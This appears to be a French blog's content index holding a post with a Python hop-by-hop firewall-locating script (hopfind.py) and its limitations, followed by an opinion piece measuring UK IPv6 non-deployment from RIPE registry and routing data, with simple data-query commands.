ICMP 3/0 hop limit exceeded in-transit 3 * 4 2001:db8:2:200::50 5.5 ms ICMP 3/0 hop limit exceeded in-transit 5 2001:db8:2:2::4 5.7 ms ICMP 3/0 hop limit exceeded in-transit 6 2001:db8:2:991:: 16.6 ms ICMP 3/0 hop limit exceeded in-transit 7 2001:db8:53::53 5.7 ms connected Verdict: TCP/443 is open. It answered at hop 7. Tout droit. Sept sauts, sans histoire. Même service, même port, même intention, et la règle n\u0026rsquo;existe que sur une seule famille d\u0026rsquo;adresses.\nCelui qui a écrit cette règle l\u0026rsquo;a écrite pour IPv4 et n\u0026rsquo;a jamais écrit la jumelle. Je n\u0026rsquo;ai aucune idée de ce qu\u0026rsquo;elle était censée accomplir — je devine quelque chose autour de garder le DNS local — mais quoi que ce fût, ça l\u0026rsquo;accomplit sur la moitié du trafic depuis que cette ligne a de l\u0026rsquo;IPv6. Si elle était là pour une raison, elle ne marche pas. Si elle ne l\u0026rsquo;était pas, elle ne devrait pas être là.\nVoilà la version de tous les jours du problème de la double pile, et c\u0026rsquo;est bien plus courant que les débats sur l\u0026rsquo;opportunité de déployer IPv6 tout court. Deux recueils de règles. Un seul entretenu.\nLe script, en entier Aucune dépendance, aucune installation, rien que la bibliothèque standard. Python 3.6 ou plus, et sur Linux aucun privilège.\nLes deux classes sont toute l\u0026rsquo;histoire de la portabilité. ErrorQueue est la voie Linux : armez IP_RECVERR sur le socket, et après l\u0026rsquo;échec de la sonde, lisez MSG_ERRQUEUE et tirez l\u0026rsquo;adresse du routeur de la structure sock_extended_err à laquelle le noyau l\u0026rsquo;accole. RawIcmp est partout ailleurs : ouvrez un socket ICMP brut, lisez ce qui arrive, prenez l\u0026rsquo;adresse source sur le paquet. Le premier n\u0026rsquo;a besoin de rien, le second a besoin de root, et le reste du programme se moque de ce qu\u0026rsquo;on lui a remis.\nUn détail mérite d\u0026rsquo;être signalé parce que c\u0026rsquo;est la différence entre une bonne réponse et une réponse plausible. Dans probe(), la file d\u0026rsquo;erreurs est vidée avant que SO_ERROR ne soit consulté. Une erreur ICMP atteint un socket TCP sous forme d\u0026rsquo;un simple errno — un ICMP 3/3 port unreachable arrive en ECONNREFUSED, exactement comme un vrai reset — donc regarder SO_ERROR d\u0026rsquo;abord aurait rapporté le reset SMTP forgé plus haut dans ce billet comme un refus honnête du bout d\u0026rsquo;en face. Lisez la file d\u0026rsquo;abord et ee_origin vous dit qu\u0026rsquo;un routeur a parlé.\n#!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;hopfind - work out how many hops away the thing blocking your port is. Walks the IPv4 TTL, or the IPv6 hop limit, up from 1 and records which router answers at each step - using the protocol and port you actually care about instead of traceroute\u0026#39;s default UDP high ports. Run it twice. Once against something that works, once against the port that does not. The hop where the answers stop is the device dropping you, and the run that works gives you its address. python3 hopfind.py example.net 445 # the port under suspicion python3 hopfind.py example.net 443 # the reference run python3 hopfind.py example.net 53 --proto udp python3 hopfind.py 2001:db8::1 443 -6 On Linux this needs no privileges at all: IP_RECVERR and IPV6_RECVERR hand the ICMP errors back on the ordinary socket that caused them. On macOS, the BSDs and Solaris the errors have to be read off a raw ICMP socket, which means root. Written for https://blogs.damiendye.uk/networking/how-far-away-is-the-firewall/ Public domain. Do what you like with it. \u0026#34;\u0026#34;\u0026#34; import argparse import errno import os import select import socket import struct import sys import time # Linux socket options. Absent from the socket module on some builds, so they # are spelled out rather than looked up. IP_RECVERR = 11 IPV6_RECVERR = 25 # ee_origin values from linux/errqueue.h. Anything else means the errno came # from the local stack rather than from a router. SO_EE_ORIGIN_ICMP = 2 SO_EE_ORIGIN_ICMP6 = 3 ICMP_V4 = { (11, 0): \u0026#34;time exceeded in-transit\u0026#34;, (11, 1): \u0026#34;fragment reassembly time exceeded\u0026#34;, (3, 0): \u0026#34;net unreachable\u0026#34;, (3, 1): \u0026#34;host unreachable\u0026#34;, (3, 2): \u0026#34;protocol unreachable\u0026#34;, (3, 3): \u0026#34;port unreachable\u0026#34;, (3, 4): \u0026#34;fragmentation needed\u0026#34;, (3, 9): \u0026#34;net administratively prohibited\u0026#34;, (3, 10): \u0026#34;host administratively prohibited\u0026#34;, (3, 13): \u0026#34;communication administratively prohibited\u0026#34;, (5, 0): \u0026#34;redirect\u0026#34;, } ICMP_V6 = { (3, 0): \u0026#34;hop limit exceeded in-transit\u0026#34;, (3, 1): \u0026#34;fragment reassembly time exceeded\u0026#34;, (1, 0): \u0026#34;no route to destination\u0026#34;, (1, 1): \u0026#34;communication administratively prohibited\u0026#34;, (1, 3): \u0026#34;address unreachable\u0026#34;, (1, 4): \u0026#34;port unreachable\u0026#34;, (2, 0): \u0026#34;packet too big\u0026#34;, } def describe(family, icmp_type, icmp_code): table = ICMP_V4 if family == socket.AF_INET else ICMP_V6 return table.get((icmp_type, icmp_code), \u0026#34;unrecognised\u0026#34;) def is_expiry(family, icmp_type): \u0026#34;\u0026#34;\u0026#34;Was this the router saying \u0026#39;your hop budget ran out here\u0026#39;?\u0026#34;\u0026#34;\u0026#34; return icmp_type == (11 if family == socket.AF_INET else 3) class ErrorQueue: \u0026#34;\u0026#34;\u0026#34;Linux. The kernel reports the ICMP error on the socket that provoked it.\u0026#34;\u0026#34;\u0026#34; def arm(self, sock, family): if family == socket.AF_INET: sock.setsockopt(socket.IPPROTO_IP, IP_RECVERR, 1) else: sock.setsockopt(socket.IPPROTO_IPV6, IPV6_RECVERR, 1) def extra_readers(self): return [] def collect(self, sock, family): try: _, ancillary, _, _ = sock.recvmsg(0, 1024, socket.MSG_ERRQUEUE) except OSError: return None wanted = (socket.IPPROTO_IP, IP_RECVERR) if family == socket.AF_INET \\ else (socket.IPPROTO_IPV6, IPV6_RECVERR) for level, kind, data in ancillary: if (level, kind) != wanted or len(data) \u0026lt; 16: continue # struct sock_extended_err, then the sockaddr of the router that # sent the error - SO_EE_OFFENDER in the kernel headers. _, origin, icmp_type, icmp_code = struct.unpack_from(\u0026#34;=IBBB\u0026#34;, data, 0) if origin not in (SO_EE_ORIGIN_ICMP, SO_EE_ORIGIN_ICMP6): return None addr = None if len(data) \u0026gt;= 24: offender_family, = struct.unpack_from(\u0026#34;=H\u0026#34;, data, 16) if offender_family == socket.AF_INET: addr = socket.inet_ntoa(data[20:24]) elif offender_family == socket.AF_INET6 and len(data) \u0026gt;= 40: addr = socket.inet_ntop(socket.AF_INET6, data[24:40]) return addr, icmp_type, icmp_code return None class RawIcmp: \u0026#34;\u0026#34;\u0026#34;macOS, the BSDs, illumos, Solaris. Read the ICMP off a raw socket, as root.\u0026#34;\u0026#34;\u0026#34; def __init__(self, family): proto = socket.IPPROTO_ICMP if family == socket.AF_INET else socket.IPPROTO_ICMPV6 self.sock = socket.socket(family, socket.SOCK_RAW, proto) self.sock.setblocking(False) def arm(self, sock, family): pass def extra_readers(self): return [self.sock] def collect(self, sock, family): try: packet, peer = self.sock.recvfrom(1500) except OSError: return None if family == socket.AF_INET: # BSD raw sockets hand back the IP header too. header_len = (packet[0] \u0026amp; 0x0F) * 4 packet = packet[header_len:] if len(packet) \u0026lt; 2: return None return peer[0], packet[0], packet[1] def probe(dest, port, proto, family, hop_limit, timeout, listener): \u0026#34;\u0026#34;\u0026#34;One probe at one hop limit. Returns (icmp, socket_state, note).\u0026#34;\u0026#34;\u0026#34; kind = socket.SOCK_STREAM if proto == \u0026#34;tcp\u0026#34; else socket.SOCK_DGRAM sock = socket.socket(family, kind) if family == socket.AF_INET: sock.setsockopt(socket.IPPROTO_IP, socket.IP_TTL, hop_limit) else: sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_UNICAST_HOPS, hop_limit) listener.arm(sock, family) sock.setblocking(False) try: if kind == socket.SOCK_DGRAM: sock.connect((dest, port)) sock.send(b\u0026#34;\\x00\u0026#34; * 32) else: try: sock.connect((dest, port)) except BlockingIOError: pass except OSError as exc: sock.close() return None, None, \u0026#34;local error: %s\u0026#34; % exc.strerror readers = [sock] + listener.extra_readers() writers = [] if kind == socket.SOCK_DGRAM else [sock] deadline = time.time() + timeout icmp = state = None while time.time() \u0026lt; deadline: ready_r, ready_w, ready_x = select.select( readers, writers, [sock], max(0.01, deadline - time.time())) if not (ready_r or ready_w or ready_x): continue # Drain the error queue first, always. An ICMP error reaches a TCP # socket as a plain errno, so SO_ERROR on its own cannot tell you # whether a router spoke or the far end did. icmp = listener.collect(sock, family) if icmp: break if ready_w: err = sock.getsockopt(socket.SOL_SOCKET, socket.SO_ERROR) if err == 0: state = \u0026#34;connected\u0026#34; elif err == errno.ECONNREFUSED: state = \u0026#34;TCP reset\u0026#34; else: state = os.strerror(err) break sock.close() if icmp or state: return icmp, state, None return None, None, \u0026#34;no reply\u0026#34; def walk(dest, port, proto, family, first, last, timeout, listener): print(\u0026#34;walking to %s %s/%d hop limit %d-%d\u0026#34; % (dest, proto.upper(), port, first, last)) answered = [] for hop in range(first, last + 1): started = time.time() icmp, state, _ = probe(dest, port, proto, family, hop, timeout, listener) rtt = (time.time() - started) * 1000 if icmp: addr, icmp_type, icmp_code = icmp print(\u0026#34; %2d %-39s %7.1f ms ICMP %d/%d %s\u0026#34; % (hop, addr or \u0026#34;?\u0026#34;, rtt, icmp_type, icmp_code, describe(family, icmp_type, icmp_code))) if is_expiry(family, icmp_type): answered.append((hop, addr)) else: return answered, hop, \u0026#34;icmp-reject\u0026#34;, addr elif state: print(\u0026#34; %2d %-39s %7.1f ms %s\u0026#34; % (hop, dest, rtt, state)) return answered, hop, state, dest else: print(\u0026#34; %2d *\u0026#34; % hop) return answered, None, \u0026#34;silent\u0026#34;, None def main(): parser = argparse.ArgumentParser(description=__doc__.splitlines()[0]) parser.add_argument(\u0026#34;host\u0026#34;) parser.add_argument(\u0026#34;port\u0026#34;, nargs=\u0026#34;?\u0026#34;, type=int, default=443) parser.add_argument(\u0026#34;--proto\u0026#34;, choices=(\u0026#34;tcp\u0026#34;, \u0026#34;udp\u0026#34;), default=\u0026#34;tcp\u0026#34;) parser.add_argument(\u0026#34;--first\u0026#34;, type=int, default=1, help=\u0026#34;hop limit to start at\u0026#34;) parser.add_argument(\u0026#34;--max\u0026#34;, type=int, default=20, help=\u0026#34;hop limit to stop at\u0026#34;) parser.add_argument(\u0026#34;--wait\u0026#34;, type=float, default=2.0, help=\u0026#34;seconds to wait per hop\u0026#34;) parser.add_argument(\u0026#34;-6\u0026#34;, dest=\u0026#34;v6\u0026#34;, action=\u0026#34;store_true\u0026#34;, help=\u0026#34;force IPv6\u0026#34;) parser.add_argument(\u0026#34;-4\u0026#34;, dest=\u0026#34;v4\u0026#34;, action=\u0026#34;store_true\u0026#34;, help=\u0026#34;force IPv4\u0026#34;) args = parser.parse_args() family = socket.AF_INET6 if args.v6 else socket.AF_INET kind = socket.SOCK_STREAM if args.proto == \u0026#34;tcp\u0026#34; else socket.SOCK_DGRAM dest = socket.getaddrinfo(args.host, args.port, family, kind)[0][4][0] if sys.platform.startswith(\u0026#34;linux\u0026#34;): listener = ErrorQueue() else: try: listener = RawIcmp(family) except PermissionError: sys.exit(\u0026#34;%s cannot report ICMP errors on a normal socket, so this \u0026#34; \u0026#34;needs a raw one. Run it as root.\u0026#34; % sys.platform) answered, stop, why, who = walk(dest, args.port, args.proto, family, args.first, args.max, args.wait, listener) what = \u0026#34;%s/%d\u0026#34; % (args.proto.upper(), args.port) print() if why == \u0026#34;connected\u0026#34;: print(\u0026#34;Verdict: %s is open. It answered at hop %d.\u0026#34; % (what, stop)) elif why == \u0026#34;icmp-reject\u0026#34;: print(\u0026#34;Verdict: %s at hop %d is refusing %s on policy, and is honest \u0026#34; \u0026#34;enough to say so.\u0026#34; % (who, stop, what)) elif why == \u0026#34;TCP reset\u0026#34;: print(\u0026#34;Verdict: a reset came back to a probe with a hop limit of %d.\u0026#34; % stop) print(\u0026#34; Nothing more than %s away can have sent it, so check the reply\u0026#34; % (\u0026#34;one hop\u0026#34; if stop == 1 else \u0026#34;%d hops\u0026#34; % stop)) print(\u0026#34; TTL before you believe the host did.\u0026#34;) elif answered: last_hop, last_addr = answered[-1] print(\u0026#34;Verdict: answers stop after hop %d (%s).\u0026#34; % (last_hop, last_addr)) print(\u0026#34; Whatever swallows %s is hop %d.\u0026#34; % (what, last_hop + 1)) print(\u0026#34; Walk a port that works and read off the address at hop %d.\u0026#34; % (last_hop + 1)) else: print(\u0026#34;Verdict: nothing answered at all, not even the first hop. Either the\u0026#34;) print(\u0026#34; first hop is the one dropping you, or the ICMP errors are being\u0026#34;) print(\u0026#34; filtered on the way back. Walk a port that works to tell those\u0026#34;) print(\u0026#34; two apart.\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: main() Ce que ça ne peut pas vous dire La méthode est bon marché et elle est honnête sur la plupart des choses, mais ce n\u0026rsquo;est pas un scanner de topologie. Soyez droit dans le ticket sur ce que vous avez réellement mesuré.\nDes quintuplets différents peuvent prendre des chemins différents. L\u0026rsquo;ECMP hache les ports source et destination dans le choix du saut suivant, donc deux passages sur deux ports différents ne sont pas garantis de traverser les mêmes routeurs, ce qui est l\u0026rsquo;une des deux explications possibles du saut 5 ci-dessus qui a répondu à un passage et s\u0026rsquo;est tu à l\u0026rsquo;autre. Répétez les deux passages. Une frontière qui bouge n\u0026rsquo;est pas prouvée.\nLe MPLS cache des sauts. Un cœur à commutation d\u0026rsquo;étiquettes peut se présenter comme un seul saut, ou comme aucun. Tout comptage à travers l\u0026rsquo;ossature de quelqu\u0026rsquo;un d\u0026rsquo;autre est une borne basse.\nLa production d\u0026rsquo;ICMP est limitée en débit à peu près partout. Sondez plus vite que le routeur ne veut répondre et vous fabriquez vos propres étoiles. hopfind.py envoie une sonde par saut et attend ; c\u0026rsquo;est délibéré.\nLe chemin de retour n\u0026rsquo;est pas forcément celui de l\u0026rsquo;aller. Le nombre de sauts à l\u0026rsquo;aller n\u0026rsquo;est pas celui du retour, et l\u0026rsquo;arithmétique du TTL inverse ne mesure que le trajet de retour.\nL\u0026rsquo;anycast fait que l\u0026rsquo;hôte au saut N peut ne pas être la même boîte deux fois. Les résolveurs publics et les CDN, en particulier.\nUne poignée de main achevée ne veut pas dire que la session survit. Un pare-feu à état peut laisser passer le SYN et jeter la suite à l\u0026rsquo;inspection. Si la connexion s\u0026rsquo;ouvre puis meurt, ce n\u0026rsquo;est pas le bon instrument — allez capturer.\nVous avez trouvé le premier équipement qui jette, pas celui que quelqu\u0026rsquo;un admettra. Dans un CGN ou un réseau d\u0026rsquo;opérateur, l\u0026rsquo;adresse au saut N+1 peut être l\u0026rsquo;une de plusieurs boîtes derrière une seule adresse. Ça reste la bonne chose à citer, parce que c\u0026rsquo;est un fait sur le chemin.\nÀ quoi ça sert vraiment À arrêter les rebonds. C\u0026rsquo;est tout le retour sur l\u0026rsquo;exercice.\n« Le port 445 est bloqué quelque part » est une invitation à vous rendre le ticket. Ceci ne l\u0026rsquo;est pas :\nTCP/445 vers 192.0.2.4 est jeté silencieusement au saut 11, adresse 192.0.2.31. Le saut 11 répond ICMP Time Exceeded au TCP/443 sur le même chemin en 26 ms et ne répond rien du tout sur le 445, donc le rejet est une décision de politique sur cet équipement, pas un défaut de routage. Les dix sauts devant lui sont propres. Reproduit quatre fois en vingt minutes, depuis un shell non privilégié, script joint.\nPersonne ne vous rend ça. Ça nomme un équipement, dit ce qu\u0026rsquo;il a fait, dit ce qu\u0026rsquo;il n\u0026rsquo;a pas fait, et montre le travail. Qu\u0026rsquo;ils choisissent ou non de le changer reste leur affaire. Mais la semaine de ping-pong est finie, et ça a pris quatre commandes.\nTout ça est sorti d\u0026rsquo;un champ de 8 bits spécifié comme un minuteur en 1981, jamais utilisé comme tel une seule fois, et qui transforme discrètement « quelque part » en une adresse.\nÇa vaut la peine d\u0026rsquo;apprendre à le lire.\n","permalink":"https://blogs.damiendye.uk/fr/networking/how-far-away-is-the-firewall/","summary":"« Le port 445 est bloqué quelque part » n\u0026rsquo;est pas un diagnostic, et c\u0026rsquo;est pour ça que les tickets pare-feu rebondissent entre vous et votre opérateur pendant une semaine. Chaque routeur du chemin vous doit un ICMP Time Exceeded quand votre budget de sauts est épuisé, et ça transforme un délai d\u0026rsquo;attente en une distance. J\u0026rsquo;ai fait monter le TTL sur ma propre ligne et j\u0026rsquo;ai trouvé trois défauts que je ne me connaissais pas : un blocage SMB à onze sauts, des resets SMTP forgés à un saut, et une règle IPv4 sans jumelle IPv6.","title":"Le pare-feu est à onze sauts"},{"content":"Il y a une histoire que l\u0026rsquo;industrie britannique raconte sur IPv6, et elle va comme ceci. Le passage est difficile. Le matériel est vieux. Les clients ne le demandent pas. Il n\u0026rsquo;y a pas d\u0026rsquo;argent dedans. Un jour, quand l\u0026rsquo;argument commercial tournera, on s\u0026rsquo;y mettra.\nChaque partie de ça est un mensonge que l\u0026rsquo;industrie se raconte pour ne pas avoir à faire de travail.\nIPv6 a été spécifié en décembre 1995. J\u0026rsquo;y suis arrivé par le 6bone, le banc d\u0026rsquo;essai expérimental qui le portait avant que le vrai internet ne le veuille, et j\u0026rsquo;ai fait tourner la pile Linux et la pile de Microsoft Research sur Windows XP pour voir en quoi elles différaient. Mon accès venait de Hurricane Electric.\nLe 6bone a été éteint le 6 juin 2006, alors je suis passé au tunnelage automatique 6to4, et plus tard à un tunnel Hurricane Electric — toujours gratuit, et ils vous routent un /48 sur demande. IPv6 natif est arrivé chez moi en 2017, quand j\u0026rsquo;ai changé de FAI pour Zen.\nDonc pendant près de vingt ans mon IPv6 venait d\u0026rsquo;une entreprise de transit américaine qui le donnait, plutôt que d\u0026rsquo;aucun des FAI britanniques que je payais. Hurricane Electric distribuait des /48 routés à quiconque en voulait un. Mon propre fournisseur me vendrait une IPv4 statique pour cinq livres par mois.\nLes dates disent le reste. L\u0026rsquo;IETF a tué le 6bone en 2006 et a déprécié les relais anycast de 6to4 en mai 2015, qualifiant le mécanisme d\u0026rsquo;« unsuitable for widespread deployment and use in the Internet » — inadapté au déploiement et à l\u0026rsquo;usage généralisés sur l\u0026rsquo;internet. J\u0026rsquo;ai survécu à deux mécanismes de transition officiels en attendant qu\u0026rsquo;un FAI britannique me remette une adresse. Le jour où le 6bone s\u0026rsquo;est éteint, trente-sept des quarante fournisseurs britanniques du graphique ci-dessous n\u0026rsquo;avaient pas encore demandé d\u0026rsquo;allocation au registre. Vingt-deux d\u0026rsquo;entre eux — plus de la moitié — n\u0026rsquo;ont pas demandé avant 2015 ou plus tard, l\u0026rsquo;année où l\u0026rsquo;IETF a aussi abandonné 6to4.\nIl est allumé par défaut dans chaque système d\u0026rsquo;exploitation que quiconque fait tourner depuis Windows Vista en 2007. Il ne coûte rien de plus au registre. Le plus gros FAI qui ait jamais essayé dans ce pays a fini le travail en trois ans avec une équipe qui tiendrait dans une salle de réunion, et a gagné un prix pour ça.\nTrente ans après la spécification. Quatorze ans après le jour où l\u0026rsquo;internet l\u0026rsquo;a allumé pour de bon. Et la réponse dans ce pays a été de casser l\u0026rsquo;internet exprès, d\u0026rsquo;emballer le morceau cassé dans plus de machinerie, et de facturer le client pour le désagrément.\nCe n\u0026rsquo;est pas un problème de coût. C\u0026rsquo;est un problème de flemme, et ça dure depuis vingt ans.\nCe que j\u0026rsquo;ai mesuré, et comment Tout ce qui suit est soit le travail de quelqu\u0026rsquo;un d\u0026rsquo;autre, lié, soit un chiffre que j\u0026rsquo;ai produit moi-même. Là où c\u0026rsquo;est le mien, le script qui l\u0026rsquo;a compté est dans le téléchargement ci-dessous, exécuté tel que publié. La seule exception est les totaux d\u0026rsquo;adresses, et j\u0026rsquo;explique comment ceux-là sont calculés dans les réserves. Quatre sources publiques, toutes gratuites : les fichiers de délégation des registres, le vidage de la table de routage de RIPE, la base de données RIPE, et le DNS. Là où j\u0026rsquo;ai choisi un échantillon plutôt que de mesurer le tout, je le dis.\nLes chiffres de routage viennent de deux jeux de fichiers publics.\nLe premier est les fichiers de délégation, un par registre régional, qui listent chaque bloc d\u0026rsquo;adresses et numéro d\u0026rsquo;AS que ce registre a distribué, le pays où il est enregistré, et un identifiant opaque pour l\u0026rsquo;organisation qui le détient. Celui de RIPE couvre l\u0026rsquo;Europe et le Moyen-Orient, et c\u0026rsquo;est celui qui compte pour le Royaume-Uni — mais quelques dizaines de numéros d\u0026rsquo;AS enregistrés au Royaume-Uni siègent dans les fichiers ARIN et APNIC à la place, et la comparaison plus bas a besoin du tout. Les miens ont été générés les 26 et 27 août 2026.\nLe second est le vidage de la table de routage mondiale du Routing Information Service de RIPE, qui liste chaque préfixe en BGP et le numéro d\u0026rsquo;AS qui l\u0026rsquo;annonce. IPv4 et IPv6 viennent en fichiers séparés. Le mien a été généré à 18 h 06 UTC le 27 août 2026.\nMettez-les ensemble et vous pouvez répondre à une question que personne dans l\u0026rsquo;industrie britannique ne veut voir posée tout haut : des réseaux que ce pays a enregistrés, combien ont réellement allumé IPv6 ?\n\u0026#8615; Les scripts, prêts à l\u0026#39;emploi ipv6-uk-2026-scripts.zip · 10 kB Sortez les numéros d\u0026rsquo;AS enregistrés à GB des fichiers de délégation, sortez chaque numéro d\u0026rsquo;AS originant un préfixe des vidages RIS, et faites un comm des deux listes l\u0026rsquo;une contre l\u0026rsquo;autre par famille d\u0026rsquo;adresses. Ça donne la première table ci-dessous. Un piège qui vaut d\u0026rsquo;être nommé : triez lexicalement, pas avec sort -n. comm compare des chaînes, et une entrée triée numériquement vous donne silencieusement la mauvaise réponse plutôt qu\u0026rsquo;une erreur que vous remarqueriez.\nÉchangez GB contre tout autre code de pays et vous obtenez la ligne de ce pays dans la table de comparaison plus bas. 05-country-row.sh fait exactement ça.\nLes chiffres au niveau organisation utilisent le huitième champ, qui est le handle opaque du registre pour le compte détenant chaque ressource. Ceux-là restent sur le seul fichier RIPE — les handles sont locaux à chaque registre, donc concaténer cinq d\u0026rsquo;entre eux compterait deux fois la même entreprise plutôt que de la fusionner. Les organisations britanniques sont membres de RIPE, donc RIPE est là où elles sont. Voici combien détiennent un numéro d\u0026rsquo;AS et aucun IPv6 du tout :\n03-org-no-ipv6.sh les compte. Et 04-silent-holders.py est celui qui compte le plus. Les organisations qui détiennent IPv6, sont vivantes en BGP, et n\u0026rsquo;en annoncent rien.\nQuatre réserves avant les chiffres, parce qu\u0026rsquo;elles comptent et je préfère les dire que de me les faire jeter à la figure.\nLes handles d\u0026rsquo;organisation sont par compte de registre, donc une entreprise faisant tourner plusieurs comptes compte plus d\u0026rsquo;une fois.\nAnnoncer un préfixe IPv6 en BGP n\u0026rsquo;est pas la même chose que remettre IPv6 à un client. C\u0026rsquo;est le plancher, pas le plafond. Un réseau qui n\u0026rsquo;annonce rien ne l\u0026rsquo;a certainement pas déployé. Un réseau qui annonce quelque chose pourrait encore être assis dessus.\nLes totaux d\u0026rsquo;adresses effondrent les préfixes chevauchants. Un réseau annonçant un /16 à côté de quatre /17 issus de lui annonce 65 536 adresses, pas 196 608, et compter les préfixes naïvement gonfle les gros détenteurs de deux ou trois fois. J\u0026rsquo;utilise ipaddress.collapse_addresses de Python avant de totaliser.\nLa liste de cinquante sites web plus loin est un échantillon choisi à la main, pas une mesure de tout le pays. Une autre cinquantaine donnerait une fraction différente. Elle illustre un schéma plutôt qu\u0026rsquo;elle ne prouve une proportion, et je nomme ceux dont je parle au fil.\nLes deux premières de celles-là rendent les chiffres de routage plus indulgents envers l\u0026rsquo;industrie que la vérité.\nLe décompte Numéros d'AS britanniques, et combien portent IPv6 Réseaux britanniques dans la table de routage, 27 août 2026 Source : fichier de délégation RIPE NCC et vidage de table RIPE RIS enregistrés (orgs britanniques) 3 106 visibles dans la table 2 248 annonçant IPv4 2 078 annonçant IPv6 1 048 IPv4 et aucun IPv6 1 200 57,7 % des réseaux actifs Sur ces 1 200, au total\u0026#160;463 détiennent de l'espace IPv6 déjà émis par le registre et n'en ont jamais annoncé un seul préfixe. 1 113 autres organisations britanniques détenant un numéro d'AS n'ont jamais demandé d'IPv6 du tout, bien que ça ne coûte rien de plus que l'adhésion qu'elles paient déjà. Chaque numéro d\u0026rsquo;AS enregistré à une organisation britannique, mesuré contre la table de routage mondiale le 27 août 2026. L\u0026rsquo;écart à droite est tout l\u0026rsquo;argument : 1 200 réseaux britanniques sont vivants sur l\u0026rsquo;internet sans aucun IPv6, et 463 d\u0026rsquo;entre eux détiennent de l\u0026rsquo;espace IPv6 émis par le registre qu\u0026rsquo;ils n\u0026rsquo;ont jamais annoncé. Numéros d\u0026rsquo;AS enregistrés à des organisations britanniques 3 106 Visibles dans la table de routage mondiale 2 248 Annonçant IPv4 2 078 Annonçant IPv6 1 048 Annonçant IPv4 et aucun IPv6 1 200 — 57,7 % Près de six réseaux britanniques actifs sur dix ne portent aucun IPv6. Pas partiellement. Pas derrière un drapeau. Pas dans un labo. Pas un préfixe.\nMaintenant la partie qui met fin à l\u0026rsquo;argument du coût pour de bon.\nDes 2 363 organisations britanniques détenant un numéro d\u0026rsquo;AS, 1 113 — 47,1 % — ne détiennent aucune allocation IPv6 d\u0026rsquo;aucune sorte. Elles ne l\u0026rsquo;ont jamais demandée au registre.\nUne adhésion RIPE NCC coûte 1 800 € par an pour 2026, forfait, et ce tarif couvre vos allocations. Un /29 IPv6 vous donne 524 288 sous-réseaux de la taille de tout l\u0026rsquo;internet IPv4. C\u0026rsquo;est gratuit avec une adhésion que ces organisations paient déjà, et ça arrive en quelques jours.\nLa moitié d\u0026rsquo;entre elles n\u0026rsquo;ont jamais rempli le formulaire.\nEt de celles qui l\u0026rsquo;ont fait, 463 organisations britanniques détiennent de l\u0026rsquo;espace IPv6, annoncent IPv4 au monde chaque jour, et n\u0026rsquo;annoncent aucun IPv6 quel qu\u0026rsquo;il soit. C\u0026rsquo;est 44,7 % des détenteurs britanniques d\u0026rsquo;IPv6 qui sont vivants en BGP.\nRelisez ça, parce que c\u0026rsquo;est tout le billet en une phrase. Ils ont demandé les adresses. On leur a donné les adresses. Ils les ont mises dans un tableur. Puis personne n\u0026rsquo;a eu envie de les taper dans un routeur.\nVous ne pouvez pas expliquer ça avec l\u0026rsquo;argent. Personne n\u0026rsquo;a rien dépensé. Il n\u0026rsquo;y a pas de facture, pas d\u0026rsquo;achat, pas d\u0026rsquo;argument commercial, pas de demande de capital. Il y a une chose gratuite posée dans un compte de registre, et un service d\u0026rsquo;ingénierie qui n\u0026rsquo;a pas ouvert le ticket en quatorze ans.\nQui est sur cette liste Voici les plus grands réseaux britanniques annonçant IPv4 et aucun IPv6, par la quantité d\u0026rsquo;espace d\u0026rsquo;adressage qu\u0026rsquo;ils annoncent réellement, le 27 août 2026. Les noms viennent de la base de données RIPE, qui vous dira qui détient chacun d\u0026rsquo;eux :\ncurl -s https://rest.db.ripe.net/ripe/aut-num/AS15914.json \\ | python3 -c \u0026#39;import sys,json; a=json.load(sys.stdin)[\u0026#34;objects\u0026#34;][\u0026#34;object\u0026#34;][0][\u0026#34;attributes\u0026#34;][\u0026#34;attribute\u0026#34;]; print(next(x[\u0026#34;value\u0026#34;] for x in a if x[\u0026#34;name\u0026#34;]==\u0026#34;org\u0026#34;))\u0026#39; Les plus grands réseaux britanniques sans IPv6 Les plus grands réseaux britanniques annonçant IPv4 et aucun IPv6, 27 août 2026 Adresses IPv4 annoncées en BGP, préfixes chevauchants effondrés. Noms de la base RIPE. 0k 50k 100k 150k 200k Vodafone Limited AS25310 229 376 Nationwide Building Society AS8698 131 072 British Airways plc AS15914 131 072 Convergence Group (Metronet) AS42973 94 976 Rackspace Ltd AS24867 86 016 Lloyds Banking Group AS49758 81 920 QinetiQ Limited AS24775 69 632 Barclays Bank plc AS12701 68 608 MUFG Securities EMEA AS8651 65 792 Université de Warwick AS201773 65 792 NatWest Markets plc AS21054 65 536 PricewaterhouseCoopers Services AS21296 65 536 London Borough of Hackney AS39400 65 536 Wireless Logic Limited AS51320 39 424 Ensemble, les réseaux britanniques sans IPv6 siègent sur\u0026#160;4 232 232 adresses IPv4. Barclays détient 141.228.0.0/16 depuis août 1990. Les quatorze plus grands réseaux britanniques annonçant IPv4 et aucun IPv6 le 27 août 2026, par l\u0026rsquo;espace d\u0026rsquo;adressage qu\u0026rsquo;ils annoncent réellement. Préfixes chevauchants effondrés avant de totaliser. Regardez cette liste et essayez de dire les mots « barrière de coût » sans rire.\nQuatre des banques de compensation. Un cabinet comptable mondial dont tout le produit est de dire aux autres comment gérer leurs affaires. Une entreprise de technologie de défense. Un hébergeur dont les clients le paient pour savoir ça. Une entreprise de connectivité internet des objets, vendant des cartes SIM, sans IPv6.\nEntre eux, les réseaux britanniques n\u0026rsquo;annonçant aucun IPv6 sont assis sur 4 232 232 adresses IPv4. Le marché du transfert a fait en moyenne 20,04 $ l\u0026rsquo;adresse sur le premier semestre 2026, donc c\u0026rsquo;est une détention valant quelque chose au nord de quatre-vingts millions de dollars. Ce qui est la vraie raison pour laquelle aucun n\u0026rsquo;a bougé : ils sont riches en adresses, donc la pénurie est le problème de quelqu\u0026rsquo;un d\u0026rsquo;autre, et la plomberie de long terme de l\u0026rsquo;internet n\u0026rsquo;est le travail de personne en particulier.\nCe n\u0026rsquo;est pas une stratégie. C\u0026rsquo;est être à l\u0026rsquo;aise.\nLe fichier de délégation porte la date où chaque bloc a été distribué, donc vous pouvez voir exactement à quel point à l\u0026rsquo;aise :\ngrep -E \u0026#39;\\|ipv4\\|(141\\.228|155\\.131|155\\.136|161\\.2)\\.0\\.0\\|\u0026#39; \\ delegated-ripencc-extended-latest | cut -d\u0026#39;|\u0026#39; -f4,5,6 Barclays détient 141.228.0.0/16 depuis le 6 août 1990. Nationwide et NatWest ont pris les leurs en novembre 1991, à quatre jours d\u0026rsquo;écart. British Airways a obtenu 161.2.0.0/16 en avril 1992. Ce sont des blocs de classe B d\u0026rsquo;avant 